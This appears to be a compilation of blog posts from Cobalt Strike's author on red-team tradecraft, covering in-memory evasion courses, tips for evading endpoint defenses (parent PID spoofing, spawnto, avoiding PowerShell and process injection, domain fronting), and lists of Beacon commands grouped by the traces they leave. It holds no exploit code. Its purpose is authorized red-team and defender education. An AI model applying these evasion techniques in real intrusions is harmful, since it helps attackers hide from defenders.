This blog post focuses on CloudFront because I’ve answered questions about this circumstance in the past. Profile assumptions can fail for other reasons. For example, if you change a profile mid-engagement, expect to see issues like this one. If your HTTP communication fails, due to broken profile assumptions, these steps can help you diagnose the issue and correct your profile.

## Fighting the Toolset

What happens when your advantages become a disadvantage? That’s the theme of Fighting the Toolset. This lecture discusses Offensive PowerShell, staging, memory-injected DLLs, and remote process injection as technologies that deliver(ed) a universal advantage to attackers.  Today, that’s not always the case. In some contexts, these technologies are the tell that gives you away. In other contexts, they continue to deliver as advertised. This lecture is all about how to adapt when your advantages are your weakness.

## In-Memory Evasion

Many analysts and automated solutions take advantage of various memory detections to find injected DLLs in memory. Memory detections look at the properties (and content) of processes, threads, and memory to find indicators of malicious activity in the current process.

In-memory Evasion is a four-part mini course on the cat and mouse game related to memory detections. This course is for red teams that want to update their tradecraft in this area. It’s also for blue teams that want to understand the red perspective on these techniques. Why do they work in some situations? How is it possible to work around these heuristics in other cases?

Part 1 of In-memory Evasion introduces Memory Detections. This lecture walks through the observable properties of Processes, Threads, and Memory with Process Hacker. Common heuristics, the in-memory indicators we want to evade, are covered too.

Part 2 of In-memory Evasion goes through A Payload’s Life. This lecture discusses the heuristics in Part 1 and where they interact with actions taken by a representative offense platform (in this case, Cobalt Strike). This lecture makes the case that offense toolsets do strange things, but in some cases, these deviations from normal program behavior are optional.

Part 3 of this course discusses Evasion. General tips to avoid the strange behavior these detections find are discussed. This lecture then gets into the meat: options to configure how Cobalt Strike’s Beacon payload lives in memory are explained and demonstrated. This lecture also shows how to conduct an OPSEC review of your configuration prior to action on a target. Finally, this lecture concludes with a discussion on process context and how it influences the amount of suspect actions/indicators an automated solution will allow.

Part 4 concludes the course with a brief discussion of Threat Emulation. Cobalt Strike’s flexibility in this area is demonstrated to steer an analyst to believe they’re dealing with a specific real-world actor in a simulated incident.

Part 5 is an April 2018 addendum to this course. This video covers the memory-related threat emulation and evasion features in Cobalt Strike 3.11.

I’m a big believer that red teams should know the defenses they work with and know how their tools interact with these defenses. The area of memory detections has developed considerably over the past several years. Whether you’re on the red or blue side, I hope you find this perspective helpful.

## Modern Defenses and YOU!

Part 9 of Advanced Threat Tactics covers a lot of my thoughts on evasion. The ideas in that lecture are still relevant, the defenses discussed there didn’t go away! That said, there are other defenses and realities offensive operators must contend with today. This blog post discusses some of these and provides tips for adjusting your operations.

### Think Plausible

I used to describe host evasion as smuggling known bad (your payload and its stager) into memory. The real worry, after that, was egress. If you could get an agent into memory AND establish positive control of it, you were usually safe to operate.

Today, things are a little different. It’s no longer enough to control a process on a target and work. You have to think about the process you live in and the actions acceptable from it. notepad.exe (and for that matter, rundll32.exe) has no business phoning home to some controller on the internet. A savvy operator will hide their Beacon in a browser process or an updater for some application (*cough* jupdate.exe *cough*).

### Infrastructure Matters

A successful call out doesn’t mean you’re safe. Some defenders watch for malicious infrastructure indicators. How old is that domain you phone home to? Is that site categorized? Have others from this same organization visited that domain? Techniques like domain fronting help here. Beacon, configured to only use HTTP GETs may look less like a C2 channel (especially when used with domain fronting).

Still, a safe channel doesn’t buy you too much. Every process you launch is a risk. Why is cmd.exe a child of firefox.exe? Some defenders have the ability to ask this question. For the operator, the trick is to know your tools. Some commands launch a process. Others don’t. You should favor commands and actions that map to APIs, when possible. If you must launch a process, careful session prepping can help that action blend in.

Session prepping is configuring how Cobalt Strike’s Beacon payload spawns new processes and temporary jobs. Here’s how I session prep:

1. Use the ps command to understand which programs are running. This command maps to an API.
2. Use the ppid [pid] command to request that Beacon spoof the specified PID as the parent process for the programs it runs. explorer.exe is a personal favorite.
3. Use spawnto x86 c:\path\to\program.exe to configure the x86 program Beacon should spawn for its temporary x86 jobs. Many Beacon post-exploitation actions spawn a temporary process, inject a capability into it, retrieve results, and kill the temporary process. spawnto x64 configures the x64 variant of this setting. Pick a plausible program.exe that fits well with your chosen parent process.

These steps do a lot to make your new processes (and post-exploitation jobs) blend in with normal activity.

### Avoid Process Injection

The rabbit hole goes deeper though. It’s not enough to work only with APIs. You have to know which APIs are considered unsafe. Process injection stands out as an unsafe action. It’s helpful to know which commands do it and to know their alternatives.

For example, I often inject into a remote process to spawn a payload in another desktop session. An alternative is drop an executable to disk and use runu to run that executable as a child to a process in another desktop session. Same effect, except one depends on remote process injection, the other does not.

Do you absolutely need to run a Beacon command that injects into something? Inject into your current process. Beacon will treat this situation differently from a remote process injection. Beacon knows to use CreateThread instead of CreateRemoteThread (and other similar functions) in these cases.

If you need to discipline yourself to working this way: set the Malleable C2 option create_remote_thread to false. This will disable remote process injection in Beacon. Set hijack_remote_thread to false to disable Beacon’s method of process hollowing for its temporary jobs.

### Avoid PowerShell

Other dangerous actions include any and all use of PowerShell. Once a major boon for offensive operations, PowerShell is now one of the most well instrumented technologies on the Windows platform (We love you Lee). If you depend on PowerShell for your operations, it’s time to brush up on working without it.

Many Beacon commands that use PowerShell have simpler primitives that don’t rely on it (e.g., spawnas -> runas, spawnu -> runu, etc.).

Some Beacon commands for lateral movement (winrm, wmi, and psexec_psh) use PowerShell too. Don’t don’t limit yourself to these. There are so many options for lateral movement, get creative!

Of course, I rely on a lot of PowerShell scripts to automate various offensive tasks. These same things would work well as .NET assemblies too. Payload developers, such as myself, would do well to embrace the use of .NET assemblies in their platforms.

### In-memory OPSEC

All of this assumes you have an agent that safely resides in memory. That’s not a given anymore either. I think of host-based prevention technologies in terms of touchpoints. A traditional anti-virus product might look at my payload when I touch disk or load content in a browser. If I defeat that, I win. Not so today!

Now, the battleground is the functions we use to get our payloads into memory. Creating a new thread? Make sure its start address is tied to a loaded module, avoid RWX pages, and for the love of your favorite deity… don’t look like a PE file!

My advice to Cobalt Strike users?

1. Ditch stagers, when you can. Their memory OPSEC is terrible. It’s possible to operate stageless with Cobalt Strike.
2. Become familiar with the Malleable PE options I’ve added to Cobalt Strike. These, combined with stageless payloads, can land you in memory in a way that’s OPSEC-safe (in some instances).
3. I also recommend x64 payloads on x64 systems. Functionally, an x86 and x64 Beacon do similar things. In reality, they take different paths to achieve the same results (especially when it comes to things like process injection).
4. Avoid remote process injection. Process hollowing, in some cases, might be OK. Beacon uses a form of process hollowing for its post-ex jobs that depend on temporary processes.
5. And, finally, remember… context matters. An unsigned executable may find itself subject to aggressive hooks and heuristics to detect malicious behavior. A signed executable may receive some extra leeway. An executable signed by a trusted entity may get a free pass altogether.

### Closing Thoughts

Defenses are evolving and that’s a good thing. As blue TTPs gain ground, it’s on us to adjust our operations and find ways to challenge these TTPs. This is how both sides get better.

## OPSEC Considerations for Beacon Commands

Update January 9, 2020 – This topic is now part of the Cobalt Strike documentation. Head over to the Beacon Command Behavior page for the latest version of this information.

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.

### API-only

These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.

cd
cp
drives
exit
getprivs
getuid
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
jobkill
kill
ls
make_token
mkdir
mv
ppid
ps
pwd
reg query
reg queryv
rev2self
rm
rportfwd
setenv
socks
steal_token
timestomp

### House-keeping Commands

The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

cancel
checkin
clear
help
jobs
mode dns
mode dns-txt
mode dns6
mode http
note
powershell-import
sleep
socks stop
spawnto

### Post-Exploitation Jobs (Process Execution + Remote Process Injection)

Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:

browserpivot
bypassuac
covertvpn
dcsync
desktop
elevate
execute-assembly
hashdump
keylogger
mimikatz
net
portscan
powerpick
psinject
pth
screenshot
shspawn
spawn
ssh
ssh-key
wdigest

OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

### Process Execution

These commands spawn a new process:

execute
runas
runu

OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

### Process Execution: Cmd.exe

The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe. The command pattern to pass this token is an indicator some host-based security products look for.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand. Don’t use getsystem. There are other ways to acquire a SYSTEM token.

### Process Execution: PowerShell.exe

The following commands launch powershell.exe to perform some task on your behalf.

elevate uac-token-duplication
powershell
spawnas
spawnu
winrm
wmi

OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

• The uac-token-duplication privilege escalation exploit has runasadmin. This command runs a command of your choosing with the same UAC bypass.
• spawnu has runu which runs an arbitrary command under another process.
• spawnas has runas which runs an arbitrary command as another user.
• powershell has powerpick, this command runs powershell scripts without powershell.exe.
• It’s also possible to laterally spread without the winrm and wmi commands.

### Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:

dllinject